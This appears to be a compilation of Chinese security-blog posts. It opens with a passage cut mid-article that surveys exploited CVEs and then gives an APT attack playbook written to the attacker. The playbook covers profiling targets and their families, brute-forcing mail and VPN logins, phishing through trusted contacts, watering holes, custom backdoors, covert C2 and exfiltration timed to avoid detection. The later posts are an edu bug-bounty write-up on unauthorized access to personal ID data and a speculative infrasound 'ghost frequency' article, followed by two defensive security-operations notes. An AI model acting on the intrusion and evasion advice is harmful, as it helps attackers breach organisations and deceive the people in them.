Win32k内存损坏特权提升漏洞 CVE-2016-7255 Win32k本地权限提升漏洞 CVE-2017-0001 Windows GDI权限提升漏洞 CVE-2017-0263 Win32k释放后重用特权提升漏洞 9 、Flash漏洞 Flashplayer因为其跨平台的普及性,一直为各个APT组织关注,从2014年起,Flash漏洞开始爆发,尤其到2015年,HackingTeam泄露数据中两枚0-day漏洞CVE-2015-5122/CVE-2015-5199,Flash漏洞相关的利用技术公开,Flash漏洞开始成为APT组织的新宠,尽管之后Adobe和Google合作,多个Flash安全机制陆续出炉(如隔离堆,vector length检测),大大提高了Flash漏洞利用的门槛,但也不乏出现CVE-2015-7645这一类混淆漏洞的怪咖。这里我们选择不久前发现的在野0-day CVE-2018-4878作为这类漏洞的典型代表。 2018年1月31日,韩国CERT发布公告称发现Flash0day漏洞(CVE-2018-4878)的野外利用,攻击者通过发送包含嵌入恶意Flash对象的Office Word附件对指定目标进行攻击。 CVE-2018-4878通过Flash om.adobe.tvsdk包中的DRMManager对象进行攻击,如下代码所示,triggeruaf函数中创建一个MyListener对象实例,通过initialize进行初始化,并将该实例设置为null,之后的第一个LocalConnection().connect()会导致gc回收该实例内存,第二次LocalConnection().connect()时触发异常,在异常处理中会创建一个新的MyListener实例,内存管理器会将之前MyListener对象实例的内存分配给新对象,即此处的danglingpointer,设置timer,在其回调函数中检测uaf是否触发,成功则通过Mem_Arr进行站位: CVE编号 漏洞说明 CVE-2017-11292 UAF CVE-2018-4878 UAF 10、iOS三叉戟漏洞 iOS三叉戟漏洞是指针对iOS9.3.5版本之前的iOS系统的一系列0 day漏洞,其利用了3个0 day漏洞,包括一个WebKit漏洞,一个内核地址泄露漏洞和一个提权漏洞。通过组合利用三个0 day漏洞可以实现远程对iOS设备的越狱,并且安装运行任意恶意代码。 iOS三叉戟漏洞利用载荷可以通过访问特定的URL触发,所以可以通过短信、邮件、社交网络或者即时通讯等发送恶意链接诱导目标人员点击打开链接实现漏洞的触发。由于WebKit JavaScriptCore库存在任意代码执行漏洞,当Safari浏览器访问恶意链接并触发恶意的JavaScript载荷执行,其利用代码进入Safari WebContent进程空间。其随后利用另外两个漏洞实现权限提升,并越狱掉iOS设备。最后三叉戟漏洞可以实现下载和运行用于持久性控制的恶意模块。 iOS三叉戟漏洞涉及3个0 day漏洞,其CVE编号及相关信息如下表所示: CVE编号 漏洞说明 CVE-2016-4655 内核信息泄露 CVE-2016-4656 提权 CVE-2016-4657 WebKit远程代码执行 11、Android浏览器remote2local漏洞利用 Android浏览器remote2local漏洞利用是2015年7月Hacking Team遭受入侵并泄露内部源代码资料事件后,其泄露源代码中包含了针对Android 4.0.x-4.3.x系统版本的浏览器的攻击利用代码,其可以达到远程代码执行,并执行提权代码提升至root权限,最后达到静默安装恶意程序的目的。该漏洞利用代码几乎可以影响当时绝大多数主流的Android设备和系统版本。 该漏洞利用的组合了GoogleChrome的三个N-day漏洞和针对Android系统的提权漏洞完成完整的利用攻击过程。 该Android浏览器漏洞利用主要因为WebKit中关于XML语言解析和XSLT转换的libxslt库,其利用过程实际上是基于多个漏洞的组合利用过程。其首先利用一个信息泄露漏洞获取内存地址相关信息,并利用内存任意读写构造ROP攻击最终实现执行任意代码的目的。其最后执行提权代码,该漏洞利用中使用的提权漏洞为CVE-2014-3153,其产生于内核的Futex系统调用。当提权获得root权限以后,执行静默安装恶意APK应用。 Hacking Team的针对Android浏览器的remote2local漏洞利用工具结合了3个针对浏览器的漏洞和2个用于提权的漏洞。 CVE编号 漏洞说明 CVE-2011-1202 信息泄露 CVE-2012-2825 任意内存读 CVE-2012-2871 堆溢出 CVE-2014-3153 提权漏洞 CVE-2013-6282 内核任意地址读写 0x10 APT具体攻击手法 1、信息搜集 1.1.公开信息搜集 目标主要域名、二级三级域名与IP以及端口开放情况 目标经营范围、合作对象、是否存在外包 目标暴露在公网的邮箱、账号密码、手机号码等敏感信息 目标上级路由出口、ASN节点下IP范围 目标是否托管,如托管,则确定托管供应商 目标国家行业普遍使用的软件,如聊天工具,文件传输工具,SSH连接工具,下载工具等 确定打击范围,确定所要获取的信息归属目标企业哪个部门,哪个人手里 确定具体打击范围后,搜集精准目标的个人爱好,如喜欢吃的水果或零食,个人爱好,常浏览哪个网站,目标家人是谁,家人什么工作,家人的以上各种信息 搜集目标所在国家生活作息习惯,如几点上班,几点吃饭,几点休息,目标所在国家密码规律习惯等 确定目标邮箱等信息后,尝试从公开或私有社工库中查询目标已经泄露的密码 搜集以上信息后针对目标密码规律进行生成针对性密码 1.2.非公开信息 可尝试对目标常浏览站点进行渗透,获取目标密码 搜集以上信息后使用目标泄露的密码尝试登陆,注意目标作息时间! 对目标企业或机构公开邮箱搜集后,根据MX记录找到邮箱地址并利用目标所在国家密码行为习惯进行爆破 如爆破成功,第一时间查找是否有VPN账号密码信息,如没有,则检查是否存在其它业务系统或远程连接账号密码信息 如果进入的邮箱中有VPN账号密码信息,切记先不要尝试连接,先搞清楚目标主体VPN连接方式,如有操作文档,先看一遍操作文档 进入目标或目标主体其他人员邮箱后,搜集目标主体日常相关工作,如会议主题、文档、内容,日常工作安排、人员调动 进入目标或目标主体其他人员邮箱后,搜集目标主体的内部系统连接方式,如url、认证方式等 如果你够细心,你会发现一些员工的日常行为习惯或说话语气口吻等个人提点 如VPN、账号密码都没有的情况下,则查看相同企业邮箱往来邮件头部信息,邮件头会包含发件人IP等信息 1.3.运用社会工程学 如果不能确定具体人员,则可对目标主体公开且对外联系邮箱发送邮件获取目标出口IP,可根据以上搜集的信息制定邮件钓鱼攻击,举个例子,如国内每个企业都要交税和社保五险一金,当社保或公积金管理机构发布新的规章制度时,各企业都会进行关注 可尝试与目标建立长期的联系,以朋友或合作伙伴身份去了解目标的行为习惯、日常轨迹或忧喜哀愁,并制定攻击手段与计划 可利用目标心里白名单的弱点进行攻击,如目标家人或朋友邮箱、即时聊天工具对目标发送带有木马的链接、软件、邮件 发送钓鱼邮件或含有木马的邮件附件时,可结合暗示心理学进行攻击 2、悄悄撕出一条口子 如果以上信息搜集后,有了目标的VPN或目标企业人员PC被成功控制后,该如何做到不惊动目标? 2.1.web应用 可以先尝试目标是否存在phpinfo.php,info.php等敏感的信息泄露,因为这种文件如果是使用的phpinfo()函数,是可以显示目标域名真正IP的,一步错,步步错,如果你不仔细的进行信息搜集,说不定最后你干掉的只不过是对方使用的CDN节点,CDN厂商知道了也会骂娘的 按照个人经验来讲,第一,确定目标是否有可以上传shell或命令执行的漏洞,如果有,则不需要费那么大的周折去攻破 按照漏洞危害来寻找和挖掘:命令执行、文件上传、文件下载、注入,当然,文件下载,可以把目标源代码弄回来进行审计,注入则可能需要寻找后台或者破解加密后的密码,其中的细节想必不用我说,各位也都了解 那么,如果真的到了可以上传web后门那一步,则切记,不可使用网络公开的“大马”或一句话后门,如果使用了,则还需要承担你所使用的后门存在后门的可能,还有最主要的是,目前公开的,都已经在个大防护产品“病毒库”里了,你刚上传,就会被拦截或报警,就算侥幸成功,流量检测这一关也会过不了,目标网络防护low的一逼另说,还有个不能用的原因,那就是,TM的China黑客超级喜欢用一句话后门..... 如果需要扫描,可以适当的检查下有没有MS17-010这种漏洞,反正扫描的时候动作尽量要小 2.1.邮箱 如果成功进入目标主体其他人员邮箱, 切记,翻看邮件后,对原有的未读邮件标记为未读,更不可删除邮箱内任何邮件,哪怕是垃圾邮件也不可!!! 进入邮箱后,用最快的速度把联系人详细信息拖出来,后续可参考1.2进行 2.2.VPN 如果有了目标VPN信息,并且熟悉了操作文档后,切记一定要模拟正常员工登录,要让目标主体VPN认证系统留下的记录看起来是VPN账号主人在连接,连接成功后,不要对所在网段一顿乱扫,要不然你都不知道你是怎么死的,可以先尝试访问之前搜集到的url或认证系统,如果可以访问,则证明成功进入目标内部,当然其它情况另说 如果需要扫描,可以适当的检查下有没有MS17-010这种漏洞,反正扫描的时候动作尽量要小 如果可以确定具体目标内部IP,则可谨慎对其进行渗透,成功进入后,可尝试获取目标内部存活主机,记住不要用nmap这种并大量大而且开源的工具,如果有流量检测,必死,亦不可直接ARP、DNS欺骗,如果你这样做,那么你必惊动目标,可尝试arp -a看下ARP缓存列表或netstat -an 查看当前网络连接 如果成功获取目标内部存活主机后,首先排除个人PC不能动!如想继续,可以尝试使用VPN密码去登录存活server的3389或SSH,当然前提要注意目标所在地理位置的生活作息习惯,要不然管理人员在线你尝试成功了,管理被踢了肯定是不正常的 2.3.水坑 如果第一部分信息搜集结果比较完善的话,相信你已经掌握了具体目标常浏览的站点了,此时可以对这些站点进行渗透,等待目标上钩 原因? A:拿下目标常浏览站点后,可以利用目标浏览器漏洞直接拿下其PC权限 B:可以冒充客服或管理人员以各种理由让对方交出权限,如对目标IP浏览行为进行拦截,并配上对应提示,然后以测试网络连通性为由给对方发送“专业”检测软件,还可以以送礼物为由邮寄“特殊”的U盘、平板电脑、手机 C:就算目标不上钩,你也可以得到目标在该站点的密码,如果多拿下几个,就可以发现目标的密码规律进行爆破,如果是无法“解密”的加密密码,亦可以告诉目标账户有风险,然后让其去你给的站点修改密码,可以是官方站点,但是需要抓包,也可以是钓鱼站点,比如利用HTML的a标签进行视觉欺骗 2.4.个人PC 如果拿到了目标PC的控制权,切记不可触动目标电脑上的杀软,要不然他一时兴起来个在线云查杀,你不得蹲墙角哭去,可以先将目标电脑的特殊文件进行窃取,如.doc .xls .zip .txt等你感兴趣的文件,不要修改目标电脑上明显的文件内容或属性,如果比如要修改,那么,记得把修改时间调下。 可以准备百度木马,防止目标会接触那些物理隔离并且无法访问公网的计算机 如果目标拿着自己的电脑接入公司的网络,也不要大范围扫描,可以适当的检查下有没有MS17-010这种漏洞,动作要小 2.5.不知道用啥标题了 简单明了,结合以上几点需要谨慎又谨慎的注意事项后,直接纵向杀入,要拿数据就拿数据,要控目标就控目标,别墨迹,越墨迹越容易暴露,但是,动作要小!!! 3、稳固权限 想长期控制,肯定是要稳固权限的,要不然哪天掉了总不能按照一开始的口子进去再这种嗅探种马社工吧,麻烦又容易暴露,下边说下几点 3.1.定制后门 为什么?说点实际的,如果你后门叫svchost.exe,中英文之类的系统里肉眼看上去没问题,但是TM的法语就不行了,坑爹的大坑,就说administrators用户组吧,中英文里管理员用户组是这个,但是TM的法语里却是别的,具体的我忘了是什么,不信自己安装个法语的试下 3.2.精简勿用开源 为什么精简?目标网络内网中的内网,传输速率小的可怜,你生成个几兆的后门传上去??? 越精简体积越小,支持的功能越少,越减少暴露几率,当然看程序员水平 为什么说不要用开源的,呃,不在乎暴露的话你随便.. 3.4.不带任何特征 不要用你母语,要不然,xxx国家黑客入侵xxx机构xxx企业窃取机密,外交也会尴尬吧... 不要带有任何组织或个人称呼之类的东西,无论是后门还是控制端,给你们看个例子:http://www.freebuf.com/articles/network/183631.html 3.5.通信要隐秘 如果走http通道,数据不要直接在cookie里这么慢明显的地方 DNS也是一样,能加密的加密,别明文 心跳包别太明显,流量检测不是闹着玩的 别没事就连上去,会增加暴露几率,如非必要,尽量不要连接 3.6.不落地 原因?自己去想 4、传输数据 回传数据也是要注意的,如果对方都下班睡觉了,你去下载内部数据,流量还那么大,傻子都知道有问题 尽量在对方正常运营时间内用正常的请求去下载,如果内容太大,也不要急于求成 不要用迅雷之类的软件去下载,1.会缓存到他们的server上,同时会暴露你的地理位置,因为你怎么知道迅雷之类的软件没有被控??? 传输文件要加密,同时尽量不要再目标server上安装软件,能免安装就免安装 0x11 APT防御手段 目前业界比较流行的防御APT思路有三种: 1、采用高级检测技术和关联数据分析来发现APT行为,典型的公司是FireEye; 2、采用数据加密和数据防泄密(DLP)来防止敏感数据外泄,典型的公司是赛门铁克; 3、采用身份认证和用户权限管理技术,严格管控内网对核心数据和业务的访问,典型的公司是RSA。 企业应对防御具体措施: (1)网络设备和服务 1. 合理配置边防设备,例如防火墙。具备基本的出入过滤功能,条件允许的实况下使用屏蔽子网结构。防火墙策略按照默认拒绝。如果愿意安装入侵检测系统更好。 2. 使用有相关安全技术的路由器,例如很多新的路由器有一定的抗ARP攻击的能力。 3. 善于使用代理服务器(例如反向代理)、web网关(例如一些检测xss的软件) 4. 内部的办公工作,设计为只有内网用户可以进行。有子公司的情况下,使用VPN技术。 5. 邮件系统要具有防假冒邮件、防垃圾邮件的基本能力。 6. 全网内的终端机器,至少使用可靠可更新的安全反病毒软件。 7. 不必要的情况下,企业内部不要配置公共Wifi。如果需要,限制公共Wifi的权限,使用有效密码,至少使用WPA2的安全设置,条件允许可以隐藏SSID。 8. 企业内部的通讯使用加密,对抗监听和中间人。 (2)安全管理 1. 企业建立安全策略,分配职责,雇佣背景清晰的安全工作人员。 2. 企业制度允许的情况下,合理运用强制休假、岗位轮换的方法。 3. 企业有一定权限的管理人员(例如人事部门),要合理分权,最小权限,不能集中某一些人都有最高的权限,特别领导同志要主动放弃最高权限。 4. 入职和离职的时候要仔细检查,例如离职时要有人监督他收拾东西离开,避免最后一刻留下后门,还要及时清除他的账户。使用证书的企业,还要停止他的证书。 5. 要建立日志审核的制度,有专门的人员审核边防设备记录的重要信息。 6. 企业架设合理的打卡、门禁制度,作为确定用户的上下班时间,在其不在职时间的奇怪访问,很可能是攻击。 7. 员工定期清理自己的桌面(不是电脑桌面),目的是确保秘密的文件没有被随意放置。 8. 员工系统使用强密码,使用要求密码的电脑屏保。 9. 员工使用的电子设备有基本的防盗能力,至少有锁屏图案,最好有远程数据抹除,如果有全设备加密更好。 10. 及时更新公司的操作系统到稳定的安全版本,这样可以有效对抗新攻击。特别是web服务器。 11. 设立一定的监督记录,例如员工不要使用电驴这些可能泄漏敏感信息的内容。 12. 雇佣有资质的单位,对员工进行安全培训,使员工明白基本的安全知识。 (3)物理安全 1. 建筑要有一定的防盗设计,例如人造天花板的设计、重要的门有B型以上的锁。 2. 高度机密的环境下,可以使用电磁屏蔽的技术,一般用于机房。 3. 雇佣必要的保安人员,设置摄像头。 (4)Web安全 1. 企业的Web服务器很可能受到攻击,应该配置基本的安全防护软件,尽量使用适当硬化的系统(有条件的情况下配置Linux而不是Windows,并删除不必要的功能和服务)。 2. 企业的Web应用,如果自身没有安全开发的能力,应该外包给有资质,特别是经济情况正常的企业完成。要避免为了节省费用,使用小家的企业去做。 3. 内网如果有Web服务(如内部办公,应该和外网适当分离。 4. 隐藏一些可能泄漏服务器软件类型和版本的信息。 (5)长期的安全维护 1. 雇佣有能力的、安全底细清楚的安全人员,或者咨询外面的公司。 2. 定期使用缺陷扫描仪、端口扫描仪等等进行检查。 3. 有条件的企业,应该配置蜜罐或者蜜网。 4. 建立安全基准,有助于识别未知的安全攻击 0x12 APT攻击参考资料 https://github.com/kbandla/APTnotes https://ti.360.net/blog/ https://www.threatminer.org/ https://x.threatbook.cn/
  21. 篇首语:最近在梳理各种异常频谱,杨叔无意中查到这么一个奇怪的频点,已经超出了正常的检测范围,普通的信号检测设备也无法接收到这个频点的信息。 深挖之余,就有了本篇。 本文同样送给那些喜爱神秘/科幻主义的爱好者、超自然研究者、《飞碟探索》《鬼吹灯》粉及有末日情节的生存控们,希望大家喜欢。 声明:以下内容素材均来自互联网,不涉及宗教、玄学、神话等方面的讨论,仅供交流、参考与闲聊,不喜勿看,谢绝杠精。 0x01 这世界有“鬼”么? 早在有记载的历史之前,人类就一直在讲鬼故事。 在西方,一些已知最古老的鬼魂出没地,比如公元前8世纪古希腊荷马编著的《奥德赛》描述的,奥德修斯前往冥府寻找先知,看到无数凄厉悲苦的亡魂。 《旧约全书》讲述了恩多女巫召唤幽灵预言家撒母耳,结果导致了扫罗王的战败与自杀。 除了文学上的虚构,西方历史上也有很多有关鬼魂的记载。 公元1世纪,博物学家小普林尼在雅典的一处房子被鬼缠上,他说这个鬼会发出锁链的喀嚓声,还会以长胡子的老人的形象现身。 而出现频率最高的是王后安妮•傅林的鬼魂,据说自从1536年被砍头之后,人们已经在120个地方见到她不下3万次。 而在东方,中国古代如此之多描述鬼魂精怪的著作和传说,什么《搜神记》《聊斋志异》《山海经》《封神演义》......估计故事总数要超过整个西方的合集。 PS:杨叔就曾为小倩(其实是王祖贤)痴迷不已夜不能寐无心喃呢...... ......咳咳,总之,鬼魂、幽灵什么的都被认为是各种超自然行为的罪魁祸首,但多亏了科学,我们终于能够解释其中的一些情况。 嗯,先放张摸金校尉的图镇场。 0x02 Vic Tandy的发现 那么,真的有鬼魂么?有的话,能监测到么? 1980年,考文垂大学国际研究与法律学院的实验员Vic Tandy,率先提出了“鬼魂频率”这一理论。 一天深夜,他独自在沃里克郡的一个实验室里工作,这个实验室以闹鬼著称。 当晚他报告说莫名感到焦虑,并多次从眼角闪过飘忽的黑影,但当他转过头来,却什么也没有发现。 第二天,Tandy回到实验室,他觉得有些人可能会将这份报告视为恶作剧。于是他继续抛光他的击剑,这把剑是由一种轻量的、柔软的金属制成。 当用桌上的老虎钳固定好击剑把手后,他注意到刀片开始振动,尽管没有任何东西碰到它。 通过推测和实验让他发现,这个振动是由通过空气传播的某种无形声波引起的,在溯源后Tandy惊奇地发现:这些次声波是由新安装的抽气扇产生的。 最终的实验结果表明: 实验室的长度正好是该次声波波长的一半,而桌子位于房间的中心,因此产生了一个驻波,从而引起了刀片的振动。 Tandy得出结论:这个18.98Hz的次声波频率,非常接近眼睛的共振频率18Hz,这就是他目击到鬼影的根本原因。 他认为,这种影响是由于次声波引起他的眼球共振造成的,它会使人视线范围中的东西(如尘埃)显得比实际情况更大且更可怕。 后来,Tandy将这个发现发表在《心理学研究学会杂志》上。 注释:次声波 频率小于20Hz(赫兹)的声波叫做次声波。次声波不容易衰减,不易被水和空气吸收。而次声波的波长往往很长,因此能绕开某些大型障碍物发生衍射。 某些频率的次声波由于和人体器官的振动频率相近甚至相同,容易和人体器官产生共振,对人体有很强的伤害性,危险时可致人死亡。 ------注释分割线------- 赫特福德郡大学的心理学家理查德·怀斯曼(Richard Wiseman)认为,这些次声波及其产生的奇怪感觉,尤其是视界周围的黑影或斑点,可以解释许多幽灵现象。 所以,这种所谓“鬼魂音”实际上并不能激发灵魂或增加超自然活动。 它实际上是在欺骗你的感官,让你看到、听到和感受通常与闹鬼有关的不寻常的事物。 0x03 感受下“鬼魂音” 国外有几个受欢迎的视频声称包含鬼魂音,但是在播放视频时,只能听到很平稳的杂音。哈哈,这可不是鬼魂音,只能算是白噪声或录音中的外部干扰。 推荐一个[音频发生器网站](http://szynalski.com/tone#18.98,v1),能以18.98Hz的频率播放干净的音频,但是实际问题是大多数扬声器无法再现此音频。 比如笔记本电脑自带的扬声器不能很好地再现300Hz以下的声音,而iPhone等手机的扬声器更做不到。 不过这其实也无所谓,因为即使能播放,你也依然无法听到它。 哈哈,其实你并不需要能够听到它的音调,只需要知道它是否正在通过扬声器播放就好了。 常规的扬声器经过优化,可以在人耳频率范围的峰值处再现声波,高于或低于此声调的音调往往会弱得多。那么,除了购买更为昂贵的设备之外,还有一种更直接的方法,那就是使用:低音炮。 低音炮是专门为播放次声波而设计的,在电影行业中被称为LFE或低频效果。 我们来做一个小小的实验,使用带低音炮的设备播放下一个包含“鬼魂音”的音频。 实际上你仍然无法听到18.98Hz的声音,但是如果将手放在低音炮的前面,几乎肯定会感觉到振动。 因此,如果你正在通过低音炮大声播放这个音频而又听不到任何声音,那是OK的,因为“鬼魂音”不会通过听觉系统影响人,而是通过波的振动来间接影响整个身体和视觉系统。 哈哈,不知道算不算是,揭开了那些著名的“鬼屋”和“密室逃脱”的让房间充满“炸毛般”恐惧体验感的关键技术内幕。 不过请娱乐业的老板们一定要注意度,过度就会对身体有损害,凡事皆是如此。 0x04 超自然调查员的装备 有趣的是,在西方,“鬼魂”与“捉鬼”一直与科学纠缠在一起。 一群相信“鬼魂”存在的“捉鬼队”成员或者超自然调查员,已经开始将现代科技设备用于灵异事件调查。 嗯,杨叔列出几个必备款: 必备装备一:Ghost Box(鬼盒) “鬼盒”是用于与灵魂体进行口头交流的设备的统称。 这些设备会不断扫描无线电频率,并发出特定的白噪声。 这个设备的原理是基于:“想法即精神,可以通过白噪声以某种方式进行交流,无论是口头交流还是通过EVP”。 注1:EVP,Electronic Voice Phenomena,超自然电子噪声现象。 对,就是你在鬼片里常听到的那种类似电音或噪声效果的某个沙哑声音,在早期的“午夜凶铃”和“死神来了”系列里都出现过,杨叔注。 注2:请注意,这类设备均未经严谨有利的直接证据证实,更没有人打包票这玩意一定是真实可信的,列出来仅供大家参考。 市场上有很多型号,从流行的P-SB7 Spirit Box(以及更先进的P-SB11)到GhostStop的Sbox(具有附加记录功能的类似设备)。 Ovilus是捉鬼队最喜欢的设备之一,和那些扫描无线电频率的设备不同,Ovilus会根据环境波动或EMF异常做出响应并直接生成单词,据说可以将这种精神的交流翻译成英文。 正如Ovilus厂商说的:他们不确定设备会产生什么样的响应反馈,所以对此类设备产生的结果不负任何责任。 ......nnd,这么任性且不负责任的厂商,说得杨叔都想开发一个类似的玩意扔进市场了。 必备装备二:EMF检测器 EMF检测器或电磁场检测器,是超自然调查团队最常用的工具之一。 虽然听起来似乎很科幻,但这玩意实际上只是工程师用来定位建筑物中是否有多余电磁辐射源的工具。 通常情况下,室内辐射源会是电磁炉或手机之类的电子设备,但是若没有明显的辐射源,却检测出大量的电磁辐射......咳咳,那你要记得有专家说过: 发生超自然现象时,是会干扰电磁场的哦! 必备装备三:数字录音机 这个可选的就多了,不做具体型号推荐。一般而言,最好支持低频音和某些高频音的录制。 当然啦,还有贴心的商家,推出了Ghost Kit 新手套装。看到熟悉的淘宝产红外报警器和那款隔墙听,哈哈,确实是蛮贴心的~~ 下图是某个超自然调查团队的行动视频截图,可以清晰地看到EMF和Ghost Box设备: 0x05 那些著名的“闹鬼地” 全球著名的“闹鬼地”挺多的,杨叔就分享一个: 伯明翰的斯洛斯高炉群(Sloss Furnaces) 位于美国东南部阿拉巴马州,伯明翰市,32街第一大道,占地32英亩(约13公顷),由两座400吨高炉和40座工业建筑物遗存构成。 作为第一个被列入国家历史地标的工业遗址,这处拥有135年历史的炼铁厂,正在复兴为伯明翰的艺术中心,举办各种音乐会、艺术展、烹饪比赛、啤酒节、庆典等。 斯洛斯高炉群记录着长达90年的炼铁史,它的历史几乎与伯明翰一样。这座城市成立后仅10年就开始建设,数以百计的钢铁工人在一个绰号为“炉渣”的暴君的监督下辛勤劳作。 那些年,许多工人死于可怕的事故。曾有工人被拖入一个大飞轮的齿轮中碾碎,还有人掉进了钢水被焚化。 甚至参观废弃高炉的游客都纷纷报告说发现有鬼魂(其中据称有炉渣本人)、莫名尖叫声甚至是某种奇怪的袭击。 斯洛斯工业遗址公园管网遍布,而且管道与管道相互连接,构成了一座极为复杂的迷宫,再加上陈旧的工业设施有一种天然的魔幻感,这里很早就成了年轻人探险的优选之地。 现在,斯洛斯已稳稳坐上“全美恐怖之地前三名”的交椅。 0x06 关于超自然现象的一点本质 让我们小结下。 美国国家航空航天局(NASA)也同样说过: 人眼的共振频率约为18 Hz,这可以解释为什么说此范围内的声音会产生幻觉或幻影现象。 而次声波可能会引起人类敬畏或恐惧的感觉,所以也有人提出设想: “正是因为人们没有意识到是次声波的存在,所以人们无法解释为何会隐约感觉到发生了奇怪或超自然的事件(即俗话说的“见鬼了”)。” 记得前些年暗物质被证实时,科学界流传一个说法是: 人类当前的科学研究和积累,只能解释宇宙的5%,剩下的95%都还处于未知。 这样看的话,那么所谓的灵魂、幽灵除了已经一些被证实的错觉、光影效果之外,其中一些也极有可能是一种能量存在(只是YY罢了,一切需要科学的证实)。 而且,既然存在量子纠缠,那么第六感,超能力就可以存在,谁能保证在这个庞大的宇宙中,一些生物是否可以通过量子纠缠来相互影响。 身为《飞碟探索》、《科幻世界》杂志的忠实爱好者,杨叔一直觉得,了解得越多,就越发对世界和宇宙心存敬畏。
  22. 引入 来自于5.16提交的某edu站的漏洞,所有隐私信息均打码发布,只分享思路, 漏洞1:未授权访问 填写信息 之后查看申请记录 此时可得到/api/applyInfo/getListById接口 构造数据包(POC在圈内) 遍历ID接口可获得大量的Openid和个人信息及身份证号 未授权访问*1 返回结果: 得到身份证信息等相关信息,记录openid 以下以40209的openid为例 未授权访问*2 再次点击入校申请: 得到/api/applyInfo/getListByUser接口 用openid遍历/api/applyInfo/getListByUser也可未授权访问大量身份证,姓名等信息 未授权访问*2 返回结果: 文件上传(此洞edu不收,但可以作为一个思路) 再次点击入校申请 上传接口未对白名单进行有效鉴别 导致部分后缀如txt和js可以上传到服务器里并成功解析 得到接口/api/upload/fileUpload 构造数据包 Js成功上传 访问成功上传的js路径: 成功访问 成功访问 如不对相关后缀进行拦截,用户可以上传大量JS内容并成功在外部引用消耗服务器资源 构造引用接口 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <button id="shenyu">测试</button> <script src="https://xxxxxx/1715851871562.js"></script> </body> </html> JS成功被解析 伪造申请 再次点击入校申请 填写信息 得到/api/applyInfo/subit接口 进行openid替换 申请成功后 在/api/applyInfo/getListByUser (即未授权访问接口*2)当中查看申请结果 伪造申请成功 伪造取消: 得到接口/api/applyInfo/cancelSubmit 遍历ID可取消别人和之前不小心申请的 结束 最后祝大家都能挖到洞 博客内容均为打码内容,而我们圈内写的报告不打码而且包含poc,更适合挖洞小白学习复现! 欢迎加入我们的圈子,每日分享一手edu,cnvd,企业src报告(挖完就分享),带你领略渗透圈,手把手教挖洞!
  23. 内网终端安全工作思考 内网办公主机 办公主机的安全需求 这里列举一般办公主机的需求项: 病毒防御(本地查杀选用国外厂商的产品,能接受云查杀选用国内厂商的产品,没有重要机密的内容的); 入侵检测防御(说白了就是HIDS或者HIPS产品,一般国内都是和杀毒软件集成的); 漏洞防护(打补丁,一般国内也是集成在杀软里面的); 软件管控(软件中心功能,一般对win平台比较常见); 日志记录; 管控场景(禁止起SSID等、数据防泄漏DLP) 这里用来解释一下日志需求: 日志记录一般可以做两件事情被攻击的响应追查和主动攻击的追踪溯源; 日志可以记录邮件、进程、服务、命令等等; 办公主机安装和在线率提高方案 全员检查 内网做准入 虚拟桌面后台强制安装 工作三部曲 推全员安装 做准入推全员再现 推漏洞补丁自动安装并接受实时日志 重点管控对象 人力资源部门 法务财务部门 高管要职群体 助理秘书群体 投资融资部门 其他关键人员 重点效果预期 自主防御能力提升化 漏洞补丁修复自动化 敏感数据传存安全化 病毒爆发场景预知化 攻击失陷发现简单化 内外服务器端 服务器的安全需求 这里列举一般服务器的需求项: Windows服务器 补丁安装与漏洞组件监控升级(服务器不建议自动升级或打补丁,因为需要重启,而且打补丁情况不可控) 自主防御能力(HIPS或HIDS能力,也可以在网络层做NIPS) 可信软件中心(软件管控) 日志监控 UnixLike服务器 漏洞监控与修补(监控下手动升级,建议用漏扫引擎结合POC做) 自主防御模块(HIPS或HIDS能力,也可以在网络层做NIPS) 可信软件监控(用官方AppStore或者官方源) 日志监控 解决方案 制定好装机模板(打好补丁,安装上必要的程序软件,配好日志指向收集平台) 要求上线必按照装机模板装机 对UnixLike系统服务器建立有效的漏扫机制,形成漏洞修复闭环,对Windows系统也有效,更建议安装或自研服务器卫士类程序和统一控制平台管理(统一做漏洞修复)。 日志全部配置到统一日志管理,自动化分析告警。 重点保障对象 域控、RADIUS服务器、SSO单点登录服务器等认证类服务器; 路由器、交换机、防火墙、DHCP服务器、DNS服务器等重点的网络设备; 财务系统、人力系统、薪资系统、招聘系统、法务系统、专利系统、文档系统(合同、协议、招投标文件)等关键系统; 源代码版本控制器、重要的工控生产设备等生产要素;
  24. 内网安全运营 内网安全运营,指的是公司内部生产办公网络。一般对于传统企业指的的是生产网络(工控网络),办公网络一般指企业公司内部系统(文档服务器、OA系统、财务、专利、人力等业务系统)和员工的办公电脑网络;对于互联网或者IT企业,生产网络一般只对外提供服务的网络(官网、主站点、CDN等等),办公网络与传统企业一致,测试网络指的是用于开发测试环境的网络,推荐在互联网或IT类企业中做到三网分离。 生产网络安全运营 对于生产网络,采取的运行策略和办公内网的技术思路相似,但是业务思路不同。第一,生产网络对于互联网企业来说是企业的生命线、业务不能断,类似金融机构组织的办公网络。所以第一先考虑保业务可用和业务数据。最好做到双份系统甚至多份系统,对于发现的漏洞优先修复一部分暂未在线提供业务的备份节点,在修复成功后,主备交替,再修复原来的主节点,现在的备份节点。此外生产网络最需要稳定,对外应该只开放业务需要的端口,对内从办公网络访问生产网络应该经过堡垒机,做到充分认证和审计。 办公内网安全运营 对于办公内网,要形成高防区,对于AD、DHCP、DNS、、OA、Email、ERP、CRM、专利、财务、招聘、法务、投资、文档、IM通讯、WiKI、项目、版本控制等重点敏感系统应放入高防区。充分收集日志,做到审计与预警监控并举,重点保护这些系统。这些系统只需对外开发业务需求端口即可,网关网段(维护网)应该单独设置访问权限,并与内网逻辑分离。对于基本的员工主机应该上统一的HIDS类产品,例如众多卫士和管家等,最好可以内网运营这些HIDS的控制节点。 测试网络安全运营 测试网络一般不建议做太严格的安全策略限制,但要严格限定测试网络的访问权限和访问方式(堡垒机),做到白名单管控,测试业务不与办公网络和生产网络连通。 安全运营工作初期重点 漏洞与事件处置 以上两者基本不外乎三段论,发现->处置->改进
